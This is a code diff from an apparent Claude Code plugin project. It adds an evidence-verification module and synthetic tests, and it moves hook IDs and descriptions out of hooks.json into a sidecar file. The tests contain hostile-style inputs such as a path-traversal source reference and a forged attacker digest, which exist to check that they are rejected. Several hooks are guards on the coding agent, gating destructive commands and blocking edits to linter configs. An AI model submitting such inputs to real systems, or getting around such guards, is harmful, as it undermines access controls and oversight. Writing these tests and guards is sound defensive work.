error.code = code;
|
||||
throw error;
|
||||
}
|
||||
function hasExactKeys(value, keys) {
|
||||
return value !== null && typeof value === 'object' && !Array.isArray(value)
|
||||
&& Object.keys(value).length === keys.length && keys.every(key => Object.hasOwn(value, key));
|
||||
}
|
||||
function validObservation(value) {
|
||||
if (typeof value !== 'string' || !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.\d{3}Z$/.test(value)) return false;
|
||||
const date = new Date(value);
|
||||
return Number.isFinite(date.getTime()) && date.toISOString() === value;
|
||||
}
|
||||
function validSourceFields(value) {
|
||||
return typeof value.text === 'string' && value.text.length > 0 && value.text.length <= MAX_TEXT_BYTES
|
||||
&& Buffer.byteLength(value.text, 'utf8') <= MAX_TEXT_BYTES
|
||||
// eslint-disable-next-line no-control-regex -- Intentionally reject C0 except tab/LF/CR, and DEL.
|
||||
&& !/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f]/.test(value.text)
|
||||
&& validObservation(value.observedAt) && slug(value.sessionId) && slug(value.checkpointId);
|
||||
}
|
||||
function validateEnvelope(value) {
|
||||
if (!hasExactKeys(value, ENVELOPE_KEYS) || value.schema !== SCHEMA || !sourceRefIsValid(value.sourceRef)
|
||||
|| typeof value.sha256 !== 'string' || !/^[a-f0-9]{64}$/.test(value.sha256) || !validSourceFields(value)) {
|
||||
fail('INVALID_ENVELOPE');
|
||||
}
|
||||
}
|
||||
function getSource(sourceRef, catalog, context) {
|
||||
if (!hasExactKeys(context, ['workspace', 'scope']) || !slug(context.workspace)
|
||||
|| !['project', 'team', 'user'].includes(context.scope)) fail('INVALID_CONTEXT');
|
||||
if (!(catalog instanceof Map) || !sourceRefIsValid(sourceRef)) fail('INVALID_SOURCE');
|
||||
const source = catalog.get(sourceRef);
|
||||
if (source === undefined) fail('SOURCE_UNAVAILABLE');
|
||||
if (!hasExactKeys(source, SOURCE_KEYS) || !validSourceFields(source) || !slug(source.workspace)
|
||||
|| !['project', 'team', 'user'].includes(source.scope)) fail('INVALID_SOURCE');
|
||||
if (source.workspace !== context.workspace || source.scope !== context.scope) fail('CONTEXT_MISMATCH');
|
||||
return source;
|
||||
}
|
||||
function decode(body) {
|
||||
if (typeof body !== 'string' || body.length > MAX_BODY_BYTES || Buffer.byteLength(body, 'utf8') > MAX_BODY_BYTES) {
|
||||
fail('INVALID_ENVELOPE');
|
||||
}
|
||||
let value;
|
||||
try { value = JSON.parse(body); } catch { fail('INVALID_ENVELOPE'); }
|
||||
validateEnvelope(value);
|
||||
return value;
|
||||
}
|
||||
|
||||
function encodeEvidence(sourceRef, catalog, context) {
|
||||
const source = getSource(sourceRef, catalog, context);
|
||||
const body = JSON.stringify({ schema: SCHEMA, sourceRef, sha256: digest(source.text), text: source.text,
|
||||
observedAt: source.observedAt, sessionId: source.sessionId, checkpointId: source.checkpointId });
|
||||
decode(body);
|
||||
return body;
|
||||
}
|
||||
|
||||
function verifyEvidence(body, catalog, context) {
|
||||
const value = decode(body);
|
||||
const source = getSource(value.sourceRef, catalog, context);
|
||||
if (value.sha256 !== digest(source.text) || value.text !== source.text
|
||||
|| value.observedAt !== source.observedAt || value.sessionId !== source.sessionId
|
||||
|| value.checkpointId !== source.checkpointId) fail('SOURCE_MISMATCH');
|
||||
return Object.freeze({ status: 'source-content-match', sourceRef: value.sourceRef, sha256: value.sha256 });
|
||||
}
|
||||
|
||||
module.exports = { encodeEvidence, verifyEvidence };
|
||||
@@ -0,0 +1,109 @@
|
||||
'use strict';
|
||||
|
||||
// Pure synthetic checks: no subprocess, filesystem fixture, provider or server.
|
||||
const assert = require('node:assert/strict');
|
||||
const { encodeEvidence, verifyEvidence } = require('./evidence.cjs');
|
||||
const sourceRef = 'fixture:orbit';
|
||||
const source = Object.freeze({ workspace: 'alpha', scope: 'project',
|
||||
text: 'Synthetic orbit evidence: calibration color is amber.',
|
||||
observedAt: '2026-01-01T00:00:00.000Z', sessionId: 'fixture-session', checkpointId: 'fixture-checkpoint' });
|
||||
const context = Object.freeze({ workspace: 'alpha', scope: 'project' });
|
||||
const catalog = new Map([[sourceRef, source]]);
|
||||
const body = () => encodeEvidence(sourceRef, catalog, context);
|
||||
const edit = change => JSON.stringify({ ...JSON.parse(body()), ...change });
|
||||
let passed = 0;
|
||||
function test(name, fn) {
|
||||
try { fn(); passed += 1; }
|
||||
catch { throw new Error(`Synthetic evidence check failed: ${name}`); }
|
||||
}
|
||||
function rejects(fn, code) {
|
||||
assert.throws(fn, error => error.code === code
|
||||
&& error.message === `Memory example evidence: ${code}`);
|
||||
}
|
||||
|
||||
test('valid source content and provenance match', () => {
|
||||
const result = verifyEvidence(body(), catalog, context);
|
||||
assert.equal(result.status, 'source-content-match');
|
||||
assert.equal(result.sourceRef, sourceRef);
|
||||
assert.equal(result.sha256, JSON.parse(body()).sha256);
|
||||
assert.ok(Object.isFrozen(result));
|
||||
});
|
||||
test('deterministic encoding preserves input catalog', () => {
|
||||
const before = JSON.stringify([...catalog]);
|
||||
assert.equal(body(), body());
|
||||
assert.equal(JSON.stringify([...catalog]), before);
|
||||
});
|
||||
for (const [name, change] of [
|
||||
['changed text', { text: 'Synthetic altered content.' }],
|
||||
['changed digest', { sha256: '0'.repeat(64) }],
|
||||
['changed observation', { observedAt: '2026-01-02T00:00:00.000Z' }],
|
||||
['changed session', { sessionId: 'other-session' }],
|
||||
['changed checkpoint', { checkpointId: 'other-checkpoint' }],
|
||||
]) {
|
||||
test(name, () => rejects(() => verifyEvidence(edit(change), catalog, context), 'SOURCE_MISMATCH'));
|
||||
}
|
||||
test('missing source never becomes successful empty evidence', () => {
|
||||
rejects(() => verifyEvidence(body(), new Map(), context), 'SOURCE_UNAVAILABLE');
|
||||
});
|
||||
test('same reference in another workspace is denied', () => {
|
||||
rejects(() => verifyEvidence(body(), catalog, { ...context, workspace: 'beta' }), 'CONTEXT_MISMATCH');
|
||||
});
|
||||
test('project evidence cannot be relabeled as user evidence', () => {
|
||||
rejects(() => verifyEvidence(body(), catalog, { ...context, scope: 'user' }), 'CONTEXT_MISMATCH');
|
||||
});
|
||||
test('creation enforces host context too', () => {
|
||||
rejects(() => encodeEvidence(sourceRef, catalog, { ...context, workspace: 'beta' }), 'CONTEXT_MISMATCH');
|
||||
});
|
||||
for (const [name, value] of [
|
||||
['unknown schema', () => edit({ schema: 'unrecognized' })],
|
||||
['unknown authority field', () => edit({ trust: 'verified' })],
|
||||
['external URL is not a source lookup', () => edit({ sourceRef: 'https://example.invalid/source' })],
|
||||
['path is not a source lookup', () => edit({ sourceRef: '../private-source' })],
|
||||
['invalid timestamp', () => edit({ observedAt: '2026-02-30T00:00:00.000Z' })],
|
||||
['missing checkpoint', () => { const value = JSON.parse(body()); delete value.checkpointId; return JSON.stringify(value); }],
|
||||
['malformed JSON', () => '{'],
|
||||
['non-object JSON', () => 'null'],
|
||||
['oversized body', () => 'x'.repeat(16385)],
|
||||
]) {
|
||||
test(name, () => rejects(() => verifyEvidence(value(), catalog, context), 'INVALID_ENVELOPE'));
|
||||
}
|
||||
test('unavailable source is also denied during creation', () => {
|
||||
rejects(() => encodeEvidence(sourceRef, new Map(), context), 'SOURCE_UNAVAILABLE');
|
||||
});
|
||||
test('changed catalog content invalidates a previously encoded body', () => {
|
||||
const changed = new Map([[sourceRef, { ...source, text: 'Synthetic revised evidence.' }]]);
|
||||
rejects(() => verifyEvidence(body(), changed, context), 'SOURCE_MISMATCH');
|
||||
});
|
||||
test('recomputed attacker digest does not replace host source binding', () => {
|
||||
const crypto = require('node:crypto');
|
||||
const text = 'Synthetic attacker replacement.';
|
||||
const sha256 = crypto.createHash('sha256').update(text).digest('hex');
|
||||
rejects(() => verifyEvidence(edit({ text, sha256 }), catalog, context), 'SOURCE_MISMATCH');
|
||||
});
|
||||
test('invalid host source is not a record success', () => {
|
||||
const invalid = new Map([[sourceRef, { ...source, text: '' }]]);
|
||||
rejects(() => encodeEvidence(sourceRef, invalid, context), 'INVALID_SOURCE');
|
||||
});
|
||||
test('invalid host context is denied before source lookup', () => {
|
||||
rejects(() => verifyEvidence(body(), catalog, { workspace: 'alpha', scope: 'all' }), 'INVALID_CONTEXT');
|
||||
});
|
||||
test('rejects forbidden C0 controls and DEL in source and recalled text', () => {
|
||||
const codes = [...Array.from({ length: 32 }, (_, code) => code), 127]
|
||||
.filter(code => ![9, 10, 13].includes(code));
|
||||
for (const code of codes) {
|
||||
const text = `Synthetic ${String.fromCodePoint(code)} content.`;
|
||||
const invalid = new Map([[sourceRef, { ...source, text }]]);
|
||||
rejects(() => encodeEvidence(sourceRef, invalid, context), 'INVALID_SOURCE');
|
||||
rejects(() => verifyEvidence(edit({ text }), catalog, context), 'INVALID_ENVELOPE');
|
||||
}
|
||||
});
|
||||
test('preserves allowed whitespace, printable boundaries and non-C0 Unicode', () => {
|
||||
for (const code of [9, 10, 13, 32, 126, 128, 0x2028, 0x1f642]) {
|
||||
const text = `Synthetic ${String.fromCodePoint(code)} content.`;
|
||||
const allowed = new Map([[sourceRef, { ...source, text }]]);
|
||||
const encoded = encodeEvidence(sourceRef, allowed, context);
|
||||
assert.equal(verifyEvidence(encoded, allowed, context).status, 'source-content-match');
|
||||
}
|
||||
});
|
||||
process.stdout.write(`${JSON.stringify({ status: 'passed', checks: passed,
|
||||
boundary: 'Synthetic in-memory evidence checks; no authentication or runtime-service verification.' })}\n`);
|
||||
@@ -19,6 +19,10 @@ User request → Claude picks a tool → PreToolUse hook runs → Tool executes
|
||||
Memory persistence lifecycle definitions live in `hooks/memory-persistence/`.
|
||||
The executable hook graph remains `hooks/hooks.json`; the memory persistence directory is the stable contract for SessionStart, PreCompact, observation, activity tracking, and SessionEnd behavior.
|
||||
|
||||
Stable hook IDs and descriptions live in `hooks/hooks.metadata.json`, aligned by event and index with `hooks/hooks.json`. Claude Code validates a plugin's `hooks.json` against its own schema and reports any other key (`$schema`, `id`, `description`) as unknown at load time, so `hooks.json` carries only what the harness accepts. ECC's installer, validator, and dashboard merge the sidecar back in through `scripts/lib/hooks-config.js`; `node scripts/ci/validate-hooks.js` fails if the two files drift apart.
|
||||
|
||||
Each sidecar entry also carries a `fingerprint` of the matcher entry it describes (matcher plus hook commands), so reordering `hooks.json` without reordering the sidecar, or editing a command without updating the sidecar, is caught rather than silently swapping IDs. When reordering hooks, move the matching sidecar entries first. Then run `node scripts/ci/validate-hooks.js --update-fingerprints` to refresh changed commands and commit both files. The updater rejects known fingerprints at different positions and writes only after validation succeeds.
|
||||
|
||||
## Installing These Hooks Manually
|
||||
|
||||
For Claude Code manual installs, do not paste the raw repo `hooks.json` into `~/.claude/settings.json` or copy it directly into `~/.claude/hooks/hooks.json`. The checked-in file is plugin/repo-oriented and is meant to be installed through the ECC installer or loaded as a plugin.
|
||||
|
||||
+24
-73
@@ -1,5 +1,4 @@
|
||||
{
|
||||
"$schema": "https://json.schemastore.org/claude-code-settings.json",
|
||||
"hooks": {
|
||||
"PreToolUse": [
|
||||
{
|
||||
@@ -9,9 +8,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/pre-bash-dispatcher.js"
|
||||
}
|
||||
],
|
||||
"description": "Consolidated Bash preflight dispatcher for quality, tmux, push, and GateGuard checks",
|
||||
"id": "pre:bash:dispatcher"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "PowerShell",
|
||||
@@ -21,9 +18,7 @@
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:powershell:gateguard-fact-force scripts/hooks/gateguard-fact-force.js standard,strict",
|
||||
"timeout": 5
|
||||
}
|
||||
],
|
||||
"description": "PowerShell fact-forcing gate: inspect destructive commands without running unrelated Bash-only preflight hooks",
|
||||
"id": "pre:powershell:gateguard-fact-force"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Write",
|
||||
@@ -32,9 +27,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:write:doc-file-warning scripts/hooks/doc-file-warning.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Doc file warning: warn about non-standard documentation files (exit code 0; warns only)",
|
||||
"id": "pre:write:doc-file-warning"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Edit|Write",
|
||||
@@ -43,9 +36,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:edit-write:suggest-compact scripts/hooks/suggest-compact.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Suggest manual compaction at logical intervals",
|
||||
"id": "pre:edit-write:suggest-compact"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -56,9 +47,7 @@
|
||||
"async": true,
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Capture tool use observations for continuous learning",
|
||||
"id": "pre:observe:continuous-learning"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Bash|PowerShell|Write|Edit|MultiEdit",
|
||||
@@ -68,9 +57,7 @@
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:governance-capture scripts/hooks/governance-capture.js standard,strict",
|
||||
"timeout": 10
|
||||
}
|
||||
],
|
||||
"description": "Capture governance events (secrets, policy violations, approval requests). Enable with ECC_GOVERNANCE_CAPTURE=1",
|
||||
"id": "pre:governance-capture"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Write|Edit|MultiEdit",
|
||||
@@ -80,9 +67,7 @@
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:config-protection scripts/hooks/config-protection.js standard,strict",
|
||||
"timeout": 5
|
||||
}
|
||||
],
|
||||
"description": "Block modifications to linter/formatter config files. Steers agent to fix code instead of weakening configs.",
|
||||
"id": "pre:config-protection"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -91,9 +76,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:mcp-health-check scripts/hooks/mcp-health-check.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Check MCP server health before MCP tool execution and block unhealthy MCP calls",
|
||||
"id": "pre:mcp-health-check"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": "Edit|Write|MultiEdit",
|
||||
@@ -103,9 +86,7 @@
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:edit-write:gateguard-fact-force scripts/hooks/gateguard-fact-force.js standard,strict",
|
||||
"timeout": 5
|
||||
}
|
||||
],
|
||||
"description": "Fact-forcing gate: block first Edit/Write/MultiEdit per file and demand investigation (importers, data schemas, user instruction) before allowing",
|
||||
"id": "pre:edit-write:gateguard-fact-force"
|
||||
]
|
||||
}
|
||||
],
|
||||
"PreCompact": [
|
||||
@@ -116,9 +97,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js pre:compact scripts/hooks/pre-compact.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Save state before context compaction",
|
||||
"id": "pre:compact"
|
||||
]
|
||||
}
|
||||
],
|
||||
"SessionStart": [
|
||||
@@ -129,9 +108,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/session-start-bootstrap.js"
|
||||
}
|
||||
],
|
||||
"description": "Load previous context and detect package manager on new session",
|
||||
"id": "session:start"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -140,9 +117,7 @@
|
||||
"type": "command",
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/plugin-hook-bootstrap.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.argv.splice(1,0,s);require(s)\" node scripts/hooks/run-with-flags.js session-start:plan-canvas-sessions scripts/hooks/plan-canvas-sessions.js standard,strict"
|
||||
}
|
||||
],
|
||||
"description": "Surface open Plan Canvas review sessions so a fresh session can resume the loop",
|
||||
"id": "session-start:plan-canvas-sessions"
|
||||
]
|
||||
}
|
||||
],
|
||||
"PostToolUse": [
|
||||
@@ -154,9 +129,7 @@
|
||||
"command": "node -e \"const p=require('path');const r=(function(){var p=require('path'),f=require('fs'),o=require('os');var e=process.env.CLAUDE_PLUGIN_ROOT;if(e&&e.trim())return e.trim();var d=p.join(o.homedir(),'.claude');function L(x){try{return require(p.join(x,'scripts','lib','resolve-ecc-root')).resolveEccRoot()}catch(_){return null}}var r=L(d);if(r)return r;var s=['ecc','ecc@ecc','marketplaces/ecc','everything-claude-code','everything-claude-code@everything-claude-code','marketplaces/everything-claude-code'];for(var i=0;i<s.length;i++){r=L(p.join(d,'plugins',s[i]));if(r)return r}try{var g=['ecc','everything-claude-code'];for(var j=0;j<g.length;j++){var c=p.join(d,'plugins','cache',g[j]);var O=f.readdirSync(c);for(var k=0;k<O.length;k++){var q=p.join(c,O[k]);var V=f.readdirSync(q);for(var m=0;m<V.length;m++){r=L(p.join(q,V[m]));if(r)return r}}}}catch(_){}return d})();const s=p.join(r,'scripts/hooks/posttooluse-dispatcher.js');process.env.CLAUDE_PLUGIN_ROOT=r;process.env.ECC_POSTTOOLUSE_PASSTHROUGH='1';process.argv.splice(1,0,s);require(s).cli()\" sync",
|
||||
"timeout": 30
|
||||
}
|
||||
],
|
||||
"description": "Run synchronous PostToolUse hooks in one process while preserving per-hook controls",
|
||||
"id": "post:dispatcher:sync"
|
||||
]
|
||||
},
|
||||
{
|
||||
"matcher": ".*",
|
||||
@@ -167,9 +140,7 @@
|
||||
"async": true,
|
||||
"timeout": 45
|
||||
}
|
||||
],
|
||||
"description": "Run background PostToolUse hooks in one process while preserving per-hook controls",
|
||||
"id": "post:dispatcher:async"
|
||||
]
|
||||
}
|
||||
],
|
||||
"PostToolUseFailure": [
|
||||
@@ -180,9 +151,7 @@
|
||||
"type": "command",
|
||||
